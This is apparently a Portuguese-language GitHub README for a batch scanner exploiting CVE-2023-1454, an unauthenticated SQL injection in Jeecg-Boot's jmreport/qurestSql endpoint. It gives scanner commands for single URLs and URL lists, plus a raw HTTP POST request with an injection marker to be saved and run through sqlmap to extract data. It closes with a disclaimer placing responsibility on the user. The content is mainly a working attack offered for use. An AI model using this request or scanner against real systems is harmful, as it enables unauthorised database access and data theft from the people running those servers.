cjybao/cve-2023-1454jmreport/qurestSql POC de varredura em lote de injeção SQL não autorizada
jmreport/qurestSql PoC de varredura em lote de injeção SQL não autorizada Jeecg-Boot é uma plataforma de desenvolvimento rápido baseada em Spring Boot e Jeecg-Boot-Plus. A versão mais recente, jeecg-boot 3.5.0, foi relatada com múltiplas vulnerabilidades de injeção SQL.
python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 teste de URL único
python3 CVE-2023-1454-scan.py -f url.txt varredura em lote
Após a varredura, um arquivo vuln.txt com URLs vulneráveis será gerado no diretório atual.
PoC：
Exp：
Salve o pacote como um arquivo .txt e use o sqlmap para obter dados.
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId":"1290104038414721025",
"id":"1*"}
Quaisquer consequências ou perdas diretas ou indiretas decorrentes da disseminação ou uso das informações fornecidas neste documento são de responsabilidade exclusiva do usuário. O autor não assume qualquer responsabilidade por isso.